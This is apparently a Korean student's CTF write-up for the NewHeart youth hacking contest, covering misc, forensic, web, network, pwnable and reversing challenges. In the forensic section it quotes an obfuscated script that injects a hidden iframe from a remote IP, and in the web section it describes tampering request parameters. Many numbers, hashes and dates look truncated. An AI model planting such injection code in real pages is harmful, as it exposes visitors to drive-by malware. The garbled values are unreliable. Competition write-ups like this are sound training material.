제 2 회 NewHeart 해킹청소년경진대회 Write-up 안양부흥고등학교 2 goodboy( 김남준 ) Misc 00 ( 보너스문제 ) 이상한사진파일하나가첨부된문제이다 처음에는스테가노그래피인줄알고삽질을약간 (?) 하다가 ASCII 인줄알고고생하다가 그대로붙여서계산하여인증하니정답. +3+7+923+20*3+374+43*47+5359*6+67-7 = 33524 Key is 33524 Forensic 00 개인적으로가장뻘짓을했던문제중에하나이다. 일단 jpg 파일이므로 EXIF 정보를온라인으로추출해주는사이트를찾아추출하였다. (http://regex.info/exif.cgi) 37.450833, 26.658000 -> 위치 ( 인천광역시남구용현.4동 90-) -> 번지수 90-203년 5월 3일오후 4시 38분 40초 -> 시간 203-05-03-6:38
번호판은처음에는게싱으로 5_ 마 (3or8)05 라는문자열을찾아서했지만인증이안되고 브루트포싱을시도할려고했지만규정상되지않아포토샵을이용하여복구하였다. 자동차번호판 -> 56 마 805 위의내용들을조합해보면 90-_203-05-03-6:38_56 마 805 라는키값이나오게된다. Key is 90-_203-05-03-6:38_56 마 805 Web 00 주어진사이트에들어가서보니 여기보면 203년 월 일 9시부터 0시까지선착순 0명에게만판매한다고한다. 그리고판매완료라는부분이있다는걸볼수있다. 이제파로스로분석을해서어떤부분을조작해야하는지보면된다. 일단이소스에서 <input type="hidden" name="dealid" value=""/> 이부분을 <input type="text" name="dealid" value=""/> 로바꿔서하여 POST할수있게하였다. 요렇게하여보낼수있게하였다.
보내고나서거래정보입력페이지에내용을입력하여구매하기버튼을누르니 전달되는값이 dealid=&username=goodboy&useraddress=%e3%85%8%e3%84%b4%e3%85%87%e3%84 %B9&userTel=002345678&userComment=%EC%9E%98%EA%B0%80%EC%A0%B8%EC%99 %80+%EC%A7%9C%EC%83%A4&curTime=20305933406&x=8&y=33 이렇게생긴것을알수있다. 여기서중요하게보아야하는부분이 curtime 인데이부분을 203년 월 일오전 9시에서 0시사이로바꿔서전달하면된다. curtime=20305933406 -> curtime=203000900 전달하고나니거래가정상적으로처리되었다는 alert 가띄워졌다. 그리고거래내역부분에들어가서처음에입력하였던 goodboy / 002345678 를입력 조회하니이부분에서키값을찾을수있었다. key is eva9_burger
Misc 00 (234.png) 주어진파일의압축을푸니사진파일이하나나왔다. NewHeart 동아리방위의식당이름을찾으라고해서처음에는당황하였다. 스테가노그래피툴도돌려보고했지만좀더원론적으로접근하였다. NewHeart 동아리방 -> 인하대학교근처앞에전기, 열쇠집이있다와앞에대리석이있다는특징두가지만잡아서인하대학교주위를네이버거리뷰로뒤졌다. key is 종로닭한마리
Misc 00 ( 음악문제 ) 브쓰브쓰브쓰 문제파일을열어보면.wav, - 복사본.wav cover.jpg 파일을찾을수있다. 애국가를조용히듣다가 - 복사본.wav 파일에서이상한소리가들려서 Spectrogram 으로 보니모스부호비슷한것이보였다. 온갖뻘짓을다하다가 -. ---.-.-.-.---- ----. -. -----.-....--.-.-.- -.- -----.-....--...- 모스부호인것을찾아내었다. 모스부호를영어로바꿔주는사이트인 (http://www.onlineconversion.com/morse_code.htm) 를이용하여영어로바꾸자 NO.9N0R3.K0R34 란문자열이나왔다. key is NO.9N0R3.K0R34
Forensic 300 (Incident Response) 패킷분석으로파밍악성코드에서빠져나간정보를체크하는문제이다. 제가기억나는순서대로쓰겠습니다. 물론약간다를수있습니다. 악성코드를찾기위해서 HTTP 를통해서다운받은정보들을찾아보았다. 이중에서수상한다운로드를찾던도중에 REAL_M4LW423.exe 이라는파일을다운받은걸 확인하였다. REAL_M4LW423.exe 를 Save as 로추출한후에이안에포함된 CretCilent.exe 파일을구글 링해본결과 202 년에유행했던파밍악성코드인것을알수있었다. 이때사용한 CVE 취약점코드를찾은결과수많은취약점코드중에 CVE-202-723 인것을알수있다. 취약점코드를찾은후에계속네트워크흐름을보던중에인증서와개인키, 비밀번호가 전송되는패킷을찾을수있었다. 이패킷을 Save As 해서 Export 시켜 Hex 에디터로본결과 비밀번호 -> 7HI5_I5_P455W02D 인증서와 (0.der) 개인키 (0.key) 는헤더가 30 82 인것을힌트로하여각각새로운파일에 연결하여 SHA 한것이정답이다 5C6EC74434F94498CE060A02DE52BD95A3EE593D // 인증서 729C89AFD9E2FE0463D0ABFF264CC8059E6 // 개인키 이렇게찾은후에여러패킷을돌아다니던중에유포지를찾으라는문장에서힌트를얻고, 유포지라면악성코드를다운받게하는사이트의경로일것이고, 그사이트에접속한이후에 악성사이트에접속했을것이라는시나리오를작성하여악성서버에접속한이전의패킷을
뒤지던도중에 <script> document.write(unescape("%3c%69%66%72%6%6d%65%20%73%72%63%3d%22%68%74 %74%70%3A%2F%2F%32%3%38%2E%3%34%38%2E%39%30%2E%32%30%34%2F%4E%48 %2F%77%65%62%2E%68%74%6D%6C%22%20%77%69%64%74%68%3D%22%30%22%20%6 8%65%69%67%68%74%3D%22%30%22%3E%3C%2F%69%66%72%6%6D%65%3E")); </script> 이런부분을발견하였다. 이부분을디코딩한결과 <iframe src="http://28.48.90.204/nh/web.html" width="0" height="0"></iframe> 를 해서유포지를본결과 http://2.222.233.24/shop/js/blank.html 인것을알수있었습니다 유포지 URL http://2.222.233.24/shop/js/blank.html 유포지 URL를찾은후에 Exploit 한파일을찾으라는문제에일단 Exploit 하려면다운로드를해야한다는시나리오를작성하여 HTTP 로다운로드받은파일을분석하던도중에 Java 취약점을공격하는것으로추정되는파일을찾아분석해본결과 Exploit 하는파일의이름인 lehda36.jpg 이정답이라는것을알수있습니다. 처음에인증을잘못했던것이생각나는군요. Exploit file lehda36.jpg key is http://2.222.233.24/shop/js/blank.html_cve-202-723_lehda36.jpg_real_m4lw423.exe_ 7HI5_I5_P455W02D_5C6EC74434F94498CE060A02DE52BD95A3EE593D_729C89AFD9E2FE0 463D0ABFF264CC8059E6
Network 200 (pcap file analysis) 개인적으로많은뻘짓을했던문제로기억남는문제중하나입니다. 일단습관적으로네트워크문제에서 HTTP 통신내역을보았지만특별한사항이없어서 여러패킷들을뒤져보다가 NateOn 쪽지로대화를나눈패킷을찾아내서 export 한결과 의대화내용입니다. hey hey!! what happen? I don't know admin's pwd elif a uoy dnes lliw I ;) elif a uoy dnes lliw I ;) 이부분을반대로문자열을뒤집으면 I will send you a file ;) 가됩니다. 이다음에 file를전송하였던것으로추정되는여러패킷을찾아다녔지만별성과가없었습니다. 그때 ICMP를통해서파일을주고받는다는것이생각이나 ICMP 를필터링해본결과패킷속에서 KP 뭐시기뭐시기가보여서자세히보니파일 Hex 가뒤집어져있는것을알수있었습니다. ( 솔직히이거알고나서왜저문자열이뒤집혀져있는지알게되었습니다.) 이것을뒤집고나서압축을풀고나서보면이상한문자열이발견하게됩니다. 압축을풀고나면 l_0lk!@++4cl< 이란문자열이내부에있는데이를 http://65.246.25.3:62002/nhadmin.php 라는사이트에인증하면 key is 3nj0yTh3fe5t!v4
Misc 00 ( 캄보디아어 ) 어떠한파일이첨부되어있는문제입니다. 처음에는 Hex Editor 로많이뒤젹거렸지만별다른정답이나오지않아별의별프로그램을사용하다가 HWP로열어보니아래와같이나왔습니다. 이를구글번역기로 (translate.google.com) 으로번역해보니 INHA 대학교컴퓨터동아리이름을 md5 하여인증하라는문자열이다. 인하대학교컴퓨터동아리의이름은 NewHeart 이니 NewHeart 를 md5 한값인 5c382f5ae9665d7d3a2f6d6dece40 이다. key is 5c382f5ae9665d7d3a2f6d6dece40
Pwnable 200 (prob200) server3.newheart.kr 이였나 server.newheart.kr 로 SSH 접속하여가위바위보게임을하는 문제이다. 처음에는가위바위보게임을하면서하다가잘보면 초지나면 time seed로입력하는것임을알수있습니다. 이를이용하여 초에 20번을다이기게한번에입력할때 을 20번미리복사를해둔후에게임이시작되면한번에입력하여키값을뜨게하는문제입니다. enter> Please enter it again! WinCount is 6 WinCount is 7
WinCount is 8 WinCount is 9 WinCount is 0 WinCount is WinCount is 2 WinCount is 3 WinCount is 4 WinCount is 5
WinCount is 6 WinCount is 7 WinCount is 8 WinCount is 9 WinCount is 20 Well done!! the KEY is Hanwha_Eagles_Fighting! key is Hanwha_Eagles_Fighting!
Reversing 200 (re200.exe) 일단습관적으로 IDA 로들어가서프로그램의구조를살펴보았다. lstrcmpa 함수를호출해서문자열을비교한후에일치하는지불일치하는지보는간단한 프로그램이다... 인줄알아서 Nope Debugger~!@ 가정답인줄알고인증했지만실패. 그래서 lstrcmpa 부분에이상이있을거같아내부루틴으로들어가자
대충분석을해보면도스헤더의 4Byte와입력받은키의 4Byte를 XOR 연산합니다. XOR 연산을한결과가 57E333F685668666E526074949E 와일치하면 Correct 를출력하는방식입니다. 이를이용해서 57E333F685668666E526074949E 값과도스헤더를 XOR 연산을하면결과가나오게된다. Key is rkswkaqhdrnfakt Reversing 200 (Blind) 왜그런지는모르겠지만디버거들이모두오류를일으켜서말로만해설하겠습니다. 이문제는버튼을클릭하면먼저타원을그린다음에다시글자를위에출력하는방식입니다. 그러나추가적인분석을하고나니버튼을클릭하면문자열이먼저써지고나서지워지고나서그위에원이그려지는것을확인할수있었습니다. 그래서처음 Text 가출력되는함수인 TextOutW 함수에 Breakpoint 를설정, 어떤문자열이출력되는지알수있었습니다. key is FuCking_virTuaizer